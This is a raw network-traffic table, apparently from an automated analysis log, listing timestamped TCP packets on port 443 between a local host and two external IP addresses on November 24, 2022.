Nov 24, 2022 13:29:10.592351913 CET	49857	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.592412949 CET	443	49857	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.593202114 CET	443	49857	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.593300104 CET	49857	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.593825102 CET	49857	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.593839884 CET	443	49857	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.631498098 CET	49858	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:10.631567001 CET	443	49858	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:10.631678104 CET	49858	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:10.631885052 CET	49858	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:10.631906986 CET	443	49858	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:10.631994009 CET	443	49858	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:10.677565098 CET	443	49857	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.677755117 CET	49857	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.677807093 CET	443	49857	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.677957058 CET	49857	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.728760958 CET	49857	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.728905916 CET	443	49857	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.729012966 CET	49857	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.869132042 CET	49859	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:10.869177103 CET	443	49859	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:10.869398117 CET	49859	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:10.869672060 CET	49859	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:10.869689941 CET	443	49859	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:10.869776011 CET	443	49859	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:10.944287062 CET	49860	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.944365025 CET	443	49860	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.944480896 CET	49860	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.948307991 CET	49860	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.948339939 CET	443	49860	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.007349014 CET	443	49860	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.007469893 CET	49860	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.014746904 CET	49860	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.014774084 CET	443	49860	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.015311003 CET	443	49860	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.015391111 CET	49860	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.015878916 CET	49860	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.015893936 CET	443	49860	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.103712082 CET	49861	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:11.103780031 CET	443	49861	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:11.103873968 CET	49861	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:11.104120016 CET	49861	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:11.104151011 CET	443	49861	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:11.104212046 CET	443	49861	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:11.121572018 CET	443	49860	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.121659040 CET	49860	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.121675968 CET	443	49860	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.121727943 CET	49860	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.121737003 CET	443	49860	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.121783972 CET	49860	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.121794939 CET	443	49860	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.121845007 CET	49860	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.125391960 CET	49860	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.125422001 CET	443	49860	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.299765110 CET	49862	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.299833059 CET	443	49862	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.299928904 CET	49862	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.300970078 CET	49862	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.301006079 CET	443	49862	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.352418900 CET	443	49862	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.352560043 CET	49862	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.354759932 CET	49862	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.354779005 CET	443	49862	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.357795000 CET	49862	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.357832909 CET	443	49862	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.396825075 CET	49863	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:11.396915913 CET	443	49863	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:11.397012949 CET	49863	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:11.397171974 CET	49863	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:11.397207975 CET	443	49863	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:11.397341013 CET	443	49863	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:11.468368053 CET	443	49862	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.468565941 CET	443	49862	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.468574047 CET	49862	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.468658924 CET	49862	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.491290092 CET	49862	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.491349936 CET	443	49862	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.599812031 CET	49864	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:11.599881887 CET	443	49864	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:11.600291967 CET	49864	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:11.600291967 CET	49864	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:11.600372076 CET	443	49864	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:11.600626945 CET	443	49864	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:11.696319103 CET	49865	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.696397066 CET	443	49865	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.696491957 CET	49865	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.696810961 CET	49865	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.696842909 CET	443	49865	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.745362043 CET	443	49865	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.745548010 CET	49865	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.753282070 CET	49865	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.753320932 CET	443	49865	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.756340027 CET	49865	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.756356001 CET	443	49865	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.855901003 CET	443	49865	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.856055975 CET	49865	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.856105089 CET	443	49865	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.856142998 CET	443	49865	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.856194973 CET	49865	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.856194973 CET	49865	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.856293917 CET	49865	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:11.856321096 CET	443	49865	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:11.866456985 CET	49866	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:11.866514921 CET	443	49866	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:11.866605043 CET	49866	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:11.866785049 CET	49866	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:11.866805077 CET	443	49866	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:11.866871119 CET	443	49866	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.034694910 CET	49867	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.034768105 CET	443	49867	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.034858942 CET	49867	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.036251068 CET	49867	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.036284924 CET	443	49867	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.087187052 CET	443	49867	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.087275028 CET	49867	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.093811035 CET	49867	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.093841076 CET	443	49867	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.096796989 CET	49867	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.096820116 CET	443	49867	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.154449940 CET	49868	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.154527903 CET	443	49868	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.154624939 CET	49868	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.154860020 CET	49868	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.154898882 CET	443	49868	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.154989004 CET	443	49868	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.209647894 CET	443	49867	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.209788084 CET	49867	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.209810019 CET	443	49867	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.209865093 CET	49867	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.227909088 CET	49867	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.227948904 CET	443	49867	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.340327978 CET	49869	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.340415955 CET	443	49869	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.340516090 CET	49869	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.340692043 CET	49869	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.340713024 CET	443	49869	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.340879917 CET	443	49869	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.363003969 CET	49870	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.363081932 CET	443	49870	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.363178968 CET	49870	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.367818117 CET	49870	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.367855072 CET	443	49870	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.421140909 CET	443	49870	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.421253920 CET	49870	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.426718950 CET	49870	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.426739931 CET	443	49870	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.429819107 CET	49870	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.429836035 CET	443	49870	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.458103895 CET	49871	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.458172083 CET	443	49871	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.458266973 CET	49871	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.458517075 CET	49871	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.458544970 CET	443	49871	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.458648920 CET	443	49871	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.556268930 CET	443	49870	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.556375027 CET	49870	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.556411028 CET	443	49870	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.556471109 CET	49870	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.556479931 CET	443	49870	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.556534052 CET	49870	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.572396994 CET	49870	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.572434902 CET	443	49870	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.598784924 CET	49872	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.598829031 CET	443	49872	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.599042892 CET	49872	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.599188089 CET	49872	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.599200010 CET	443	49872	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.599318027 CET	443	49872	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.855751038 CET	49873	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.855811119 CET	443	49873	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.855926991 CET	49873	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.856086016 CET	49873	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:12.856102943 CET	443	49873	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.856224060 CET	443	49873	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:12.951945066 CET	49874	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.952019930 CET	443	49874	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:12.952124119 CET	49874	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.995269060 CET	49874	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:12.995335102 CET	443	49874	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:13.046092033 CET	443	49874	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:13.046241999 CET	49874	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:13.091355085 CET	49874	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:13.091398001 CET	443	49874	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:13.094364882 CET	49874	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:13.094403028 CET	443	49874	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:13.160118103 CET	443	49874	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:13.160274029 CET	443	49874	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:13.160420895 CET	49874	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:13.160420895 CET	49874	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:13.172669888 CET	49874	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:13.172682047 CET	49875	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:13.172719955 CET	443	49874	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:13.172728062 CET	443	49875	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:13.173013926 CET	49875	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:13.173130989 CET	49875	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:13.173149109 CET	443	49875	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:13.173254967 CET	443	49875	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:13.434294939 CET	49876	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:13.434370995 CET	443	49876	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:13.434639931 CET	49876	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:13.434639931 CET	49876	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:13.434716940 CET	443	49876	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:13.434973955 CET	443	49876	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:13.519454002 CET	49877	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:13.519526005 CET	443	49877	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:13.519829988 CET	49877	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:13.532443047 CET	49877	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:13.532500982 CET	443	49877	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:13.586462021 CET	443	49877	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:13.586643934 CET	49877	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:13.975862980 CET	49877	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:13.975929022 CET	443	49877	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:13.978832006 CET	49877	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:13.978869915 CET	443	49877	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:14.053332090 CET	443	49877	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:14.053519964 CET	49877	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:14.053569078 CET	443	49877	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:14.053653955 CET	49877	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:14.098828077 CET	49877	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:14.099103928 CET	443	49877	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:14.099208117 CET	49877	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:14.103481054 CET	49878	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:14.103554964 CET	443	49878	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:14.103648901 CET	49878	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:14.103856087 CET	49878	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:14.103887081 CET	443	49878	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:14.103955984 CET	443	49878	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:14.421224117 CET	49879	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:14.421320915 CET	443	49879	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:14.421515942 CET	49879	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:14.421674013 CET	49879	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:14.421695948 CET	443	49879	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:14.421895981 CET	443	49879	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:15.070266962 CET	49880	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.070343018 CET	443	49880	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.070450068 CET	49880	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.093893051 CET	49880	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.093935013 CET	443	49880	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.152615070 CET	443	49880	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.152759075 CET	49880	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.162484884 CET	49880	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.162523031 CET	443	49880	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.163017035 CET	443	49880	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.163101912 CET	49880	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.163851976 CET	49880	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.163866997 CET	443	49880	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.259658098 CET	443	49880	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.259855032 CET	49880	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.259886980 CET	443	49880	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.259963989 CET	49880	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.478828907 CET	49881	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:15.478929996 CET	443	49881	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:15.479039907 CET	49881	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:15.479203939 CET	49881	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:15.479228020 CET	443	49881	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:15.479295015 CET	443	49881	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:15.483468056 CET	443	49880	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.483552933 CET	49880	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.483625889 CET	443	49880	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.483691931 CET	49880	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.513343096 CET	49880	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.513397932 CET	443	49880	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.652276993 CET	49882	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.652323008 CET	443	49882	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.652434111 CET	49882	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.661607981 CET	49882	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.661633015 CET	443	49882	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.715862989 CET	443	49882	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.715997934 CET	49882	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.719388962 CET	49882	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.719441891 CET	443	49882	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.722287893 CET	49882	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.722316027 CET	443	49882	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.756937027 CET	49883	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:15.757004023 CET	443	49883	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:15.757092953 CET	49883	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:15.757325888 CET	49883	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:15.757347107 CET	443	49883	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:15.757479906 CET	443	49883	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:15.837879896 CET	443	49882	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.838040113 CET	443	49882	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.838480949 CET	49882	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.838480949 CET	49882	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.840370893 CET	49882	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.840408087 CET	443	49882	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.943315983 CET	49884	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:15.943388939 CET	443	49884	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:15.943465948 CET	49884	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:15.943653107 CET	49884	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:15.943681955 CET	443	49884	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:15.943804979 CET	443	49884	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:15.989078999 CET	49885	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.989164114 CET	443	49885	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:15.989483118 CET	49885	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.993587017 CET	49885	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:15.993616104 CET	443	49885	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.046845913 CET	443	49885	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.046977043 CET	49885	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.048747063 CET	49885	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.048768997 CET	443	49885	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.051800966 CET	49885	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.051817894 CET	443	49885	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.166153908 CET	49886	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.166191101 CET	443	49886	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:16.166275978 CET	49886	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.166479111 CET	49886	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.166496038 CET	443	49886	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:16.166565895 CET	443	49886	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:16.296214104 CET	443	49885	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.296380997 CET	49885	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.296411037 CET	443	49885	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.296490908 CET	49885	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.296937943 CET	49885	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.297048092 CET	443	49885	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.297219038 CET	49885	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.398612976 CET	49887	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.398680925 CET	443	49887	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:16.398947001 CET	49887	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.399920940 CET	49887	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.399951935 CET	443	49887	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:16.400015116 CET	443	49887	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:16.427947998 CET	49888	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.428009987 CET	443	49888	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.428097963 CET	49888	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.433645964 CET	49888	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.433682919 CET	443	49888	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.513221979 CET	443	49888	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.513355017 CET	49888	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.520189047 CET	49888	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.520229101 CET	443	49888	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.520802021 CET	443	49888	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.520908117 CET	49888	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.522061110 CET	49888	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.522077084 CET	443	49888	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.536669970 CET	49889	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.536725044 CET	443	49889	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:16.536832094 CET	49889	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.537017107 CET	49889	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.537049055 CET	443	49889	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:16.537126064 CET	443	49889	51.195.77.210	192.168.2.4
